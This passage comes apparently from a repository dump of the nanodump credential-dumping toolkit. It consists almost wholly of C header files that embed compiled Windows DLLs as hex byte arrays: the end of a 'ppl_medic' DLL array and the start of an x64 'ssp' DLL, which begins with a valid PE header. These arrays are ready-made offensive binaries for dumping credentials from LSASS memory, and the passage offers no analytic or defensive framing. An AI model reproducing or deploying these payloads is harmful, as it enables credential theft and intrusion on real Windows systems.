0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x00,0x0C,0x00,0x00,0x00,0x58,0xA1,0x00,0x00,0x00,0x00,0x01,0x00,0x14,0x00,0x00,0x00,0x10,0xA0,0x40,0xA0,0x50,0xA0,0x58,0xA0,0x60,0xA0,0x00,0x00,0x00,0x10,0x01,0x00,0x30,0x00,0x00,0x00,0x80,0xA7,0xA0,0xA7,0xA8,0xA7,0xB0,0xA7,0xB8,0xA7,0x40,0xA9,0x50,0xA9,0x60,0xA9,0x70,0xA9,0x80,0xA9,0x90,0xA9,0xA0,0xA9,0xB0,0xA9,0xC0,0xA9,0xD0,0xA9,0xE0,0xA9,0xF0,0xA9,0x00,0xAA,0x10,0xAA,0x00,0x00,0x00,0x90,0x01,0x00,0x10,0x00,0x00,0x00,0x18,0xA0,0x30,0xA0,0x38,0xA0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};\nunsigned int nanodump_ppl_medic_dll_len = 73216;\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/nanodump_ssp_dll.x64.h",
    "content": "#pragma once\n\nunsigned char nanodump_ssp_dll[] = {0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x64,0x86,0x0B,0x00,0x7C,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x2E,0x22,0x0B,0x02,0x02,0x29,0x00,0x72,0x00,0x00,0x00,0x9A,0x00,0x00,0x00,0x24,0x00,0x00,0x40,0x13,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x01,0x00,0x00,0x04,0x00,0x00,0x99,0xB2,0x00,0x00,0x03,0x00,0x60,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x4F,0x00,0x00,0x00,0x00,0x10,0x01,0x00,0x78,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x00,0x00,0x50,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x01,0x00,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0xA2,0x00,0x00,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x88,0x11,0x01,0x00,0x48,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x08,0x71,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x72,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x60,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x76,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0xC0,0x08,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x0A,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x70,0x64,0x61,0x74,0x61,0x00,0x00,0x50,0x07,0x00,0x00,0x00,0xB0,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x82,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x78,0x64,0x61,0x74,0x61,0x00,0x00,0x48,0x05,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x8A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x62,0x73,0x73,0x00,0x00,0x00,0x00,0x90,0x23,0x00,0x00,0x00,0xD0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0xC0,0x2E,0x65,0x64,0x61,0x74,0x61,0x00,0x00,0x4F,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x69,0x64,0x61,0x74,0x61,0x00,0x00,0x78,0x05,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0x92,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x43,0x52,0x54,0x00,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x00,0x20,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x98,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x74,0x6C,0x73,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x30,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x9A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x60,0x00,0x00,0x00,0x00,0x40,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x0D,0xF9,0xBF,0x00,0x00,0xE9,0x14,0x6E,0x00,0x00,0x0F,0x1F,0x40,0x00,0x55,0x41,0x56,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCF,0x4D,0x89,0xC4,0x85,0xD2,0x0F,0x85,0x7F,0x00,0x00,0x00,0x8B,0x05,0xE1,0xBF,0x00,0x00,0x85,0xC0,0x7E,0x5E,0x83,0xE8,0x01,0x48,0x8B,0x1D,0x9B,0x94,0x00,0x00,0x45,0x31,0xE4,0xBF,0x01,0x00,0x00,0x00,0x89,0x05,0xC5,0xBF,0x00,0x00,0x4C,0x8B,0x2D,0x6E,0x01,0x01,0x00,0xEB,0x0C,0x0F,0x1F,0x40,0x00,0xB9,0xE8,0x03,0x00,0x00,0x41,0xFF,0xD5,0x4C,0x89,0xE0,0xF0,0x48,0x0F,0xB1,0x3B,0x48,0x89,0xC6,0x48,0x85,0xC0,0x75,0xE8,0x48,0x8B,0x3D,0x71,0x94,0x00,0x00,0x8B,0x07,0x83,0xF8,0x02,0x0F,0x84,0xC6,0x00,0x00,0x00,0xB9,0x1F,0x00,0x00,0x00,0xE8,0x04,0x6F,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x89,0xD0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xFA,0x01,0x75,0xDF,0x65,0x48,0x8B,0x04,0x25,0x30,0x00,0x00,0x00,0x48,0x8B,0x1D,0x1B,0x94,0x00,0x00,0x48,0x8B,0x70,0x08,0x45,0x31,0xED,0x4C,0x8B,0x35,0xF5,0x00,0x01,0x00,0xEB,0x14,0x0F,0x1F,0x00,0x48,0x39,0xC6,0x0F,0x84,0x8F,0x00,0x00,0x00,0xB9,0xE8,0x03,0x00,0x00,0x41,0xFF,0xD6,0x4C,0x89,0xE8,0xF0,0x48,0x0F,0xB1,0x33,0x48,0x85,0xC0,0x75,0xE2,0x45,0x31,0xED,0x48,0x8B,0x35,0xF0,0x93,0x00,0x00,0x8B,0x06,0x83,0xF8,0x01,0x0F,0x84,0xC5,0x00,0x00,0x00,0x8B,0x06,0x85,0xC0,0x74,0x7F,0x8B,0x06,0x83,0xF8,0x01,0x0F,0x84,0x94,0x00,0x00,0x00,0x45,0x85,0xED,0x74,0x5F,0x48,0x8B,0x05,0x78,0x93,0x00,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x0D,0x4D,0x89,0xE0,0xBA,0x02,0x00,0x00,0x00,0x48,0x89,0xF9,0xFF,0xD0,0x83,0x05,0xD4,0xBE,0x00,0x00,0x01,0xBA,0x01,0x00,0x00,0x00,0xE9,0x4B,0xFF,0xFF,0xFF,0x66,0x90,0x48,0x8D,0x0D,0xA9,0xBE,0x00,0x00,0xE8,0xC4,0x6D,0x00,0x00,0xC7,0x07,0x00,0x00,0x00,0x00,0x48,0x87,0x33,0xE9,0x2A,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x41,0xBD,0x01,0x00,0x00,0x00,0xEB,0x81,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x48,0x87,0x03,0xEB,0x9A,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x99,0x93,0x00,0x00,0x48,0x8B,0x0D,0x82,0x93,0x00,0x00,0xC7,0x06,0x01,0x00,0x00,0x00,0xE8,0xF7,0x6D,0x00,0x00,0xE9,0x63,0xFF,0xFF,0xFF,0x66,0x90,0x48,0x8B,0x15,0x59,0x93,0x00,0x00,0x48,0x8B,0x0D,0x42,0x93,0x00,0x00,0xE8,0xDD,0x6D,0x00,0x00,0xC7,0x06,0x02,0x00,0x00,0x00,0xE9,0x4E,0xFF,0xFF,0xFF,0x66,0x90,0xB9,0x1F,0x00,0x00,0x00,0xE8,0xBE,0x6D,0x00,0x00,0xE9,0x32,0xFF,0xFF,0xFF,0x90,0x55,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x4C,0x8B,0x25,0xD8,0x92,0x00,0x00,0x48,0x89,0xCE,0x41,0x89,0x14,0x24,0x89,0xD3,0x4C,0x89,0xC7,0x85,0xD2,0x75,0x60,0x8B,0x05,0x0A,0xBE,0x00,0x00,0x85,0xC0,0x74,0x36,0xE8,0x49,0x61,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x4B,0x5D,0x00,0x00,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0xE8,0x7F,0x6B,0x00,0x00,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0x41,0x89,0xC5,0xE8,0xCF,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x06,0x0F,0x1F,0x00,0x45,0x31,0xED,0x44,0x89,0xE8,0x41,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x5D,0xC3,0x0F,0x1F,0x44,0x00,0x00,0xE8,0xF3,0x60,0x00,0x00,0x8D,0x43,0xFF,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0x83,0xF8,0x01,0x77,0x3B,0xE8,0x8E,0xFD,0xFF,0xFF,0x85,0xC0,0x74,0xC2,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0xE8,0x1D,0x6B,0x00,0x00,0x85,0xC0,0x74,0x39,0x83,0xFB,0x01,0x74,0x54,0x49,0x89,0xF8,0xBA,0x02,0x00,0x00,0x00,0x48,0x89,0xF1,0xE8,0xC3,0x5C,0x00,0x00,0x41,0x89,0xC5,0xEB,0x9A,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xE8,0xB2,0x5C,0x00,0x00,0x41,0x89,0xC5,0x83,0xFB,0x03,0x75,0x86,0xE9,0x5A,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xFB,0x01,0x0F,0x85,0x6F,0xFF,0xFF,0xFF,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x2A,0xFD,0xFF,0xFF,0xE9,0x5D,0xFF,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0xE8,0x9B,0x5D,0x00,0x00,0x49,0x89,0xF8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xF1,0xE8,0x6A,0x5C,0x00,0x00,0x41,0x89,0xC5,0x85,0xC0,0x0F,0x85,0x3B,0xFF,0xFF,0xFF,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x52,0x5C,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x86,0x6A,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0xD9,0xFC,0xFF,0xFF,0xE9,0x0F,0xFF,0xFF,0xFF,0x0F,0x1F,0x40,0x00,0x48,0x8B,0x05,0x79,0x91,0x00,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0xE9,0x8E,0xFE,0xFF,0xFF,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x48,0x89,0xCA,0x48,0x8D,0x0D,0x96,0xBC,0x00,0x00,0xE9,0xD1,0x6A,0x00,0x00,0x90,0x48,0x8D,0x0D,0x09,0x00,0x00,0x00,0xE9,0xE4,0xFF,0xFF,0xFF,0x0F,0x1F,0x40,0x00,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0x66,0xFE,0x00,0x00,0xFF,0xD0,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x57,0x53,0x48,0x81,0xEC,0x60,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x00,0x02,0x00,0x00,0x48,0x89,0x95,0x08,0x02,0x00,0x00,0xC7,0x85,0xDC,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0x01,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x85,0xD0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x83,0xBD,0x00,0x02,0x00,0x00,0x00,0x0F,0x84,0x50,0x02,0x00,0x00,0x48,0x8B,0x95,0x00,0x02,0x00,0x00,0x48,0x8D,0x45,0xB0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8F,0x6B,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x8D,0x95,0xC8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0x40,0x1D,0x00,0x00,0x89,0x85,0xD8,0x01,0x00,0x00,0x81,0xBD,0xD8,0x01,0x00,0x00,0x1A,0x00,0x00,0x80,0x0F,0x84,0xF8,0x01,0x00,0x00,0x83,0xBD,0xD8,0x01,0x00,0x00,0x00,0x0F,0x88,0xEE,0x01,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x8D,0x8D,0xBC,0x01,0x00,0x00,0x48,0x8D,0x95,0xC0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xB8,0x0E,0x00,0x00,0x89,0x85,0xDC,0x01,0x00,0x00,0x83,0xBD,0xDC,0x01,0x00,0x00,0x00,0x0F,0x84,0x9D,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x63,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x84,0x01,0x00,0x00,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE7,0x6A,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x79,0xFC,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x75,0xFC,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0x31,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFB,0x6A,0x00,0x00,0x48,0x83,0xC0,0x02,0x48,0x89,0x85,0xD0,0x01,0x00,0x00,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x85,0xD0,0x01,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9B,0xFC,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0x86,0x00,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x4E,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x46,0x6A,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0xD8,0xFB,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD4,0xFB,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x95,0x0E,0x00,0x00,0x48,0x8B,0x95,0x08,0x02,0x00,0x00,0x89,0x02,0x90,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0x8B,0x00,0x85,0xC0,0x0F,0x84,0x86,0x00,0x00,0x00,0xEB,0x6F,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x34,0xFE,0xFF,0xFF,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xBC,0x69,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x4E,0xFB,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x4A,0xFB,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xE1,0xFD,0xFF,0xFF,0x90,0xE9,0xDB,0xFD,0xFF,0xFF,0x90,0xE9,0xD5,0xFD,0xFF,0xFF,0xC7,0x85,0xDC,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC1,0x1B,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x5A,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x4E,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x14,0x69,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0xA6,0xFA,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA2,0xFA,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0xDC,0x01,0x00,0x00,0x48,0x81,0xC4,0x60,0x02,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x10,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x38,0xC2,0x75,0x16,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x3C,0x5C,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x5B,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x00,0x83,0xC8,0x20,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x60,0x7E,0x06,0x80,0x7D,0xFF,0x7A,0x7E,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3B,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x3A,0x74,0x07,0xB8,0x00,0x00,0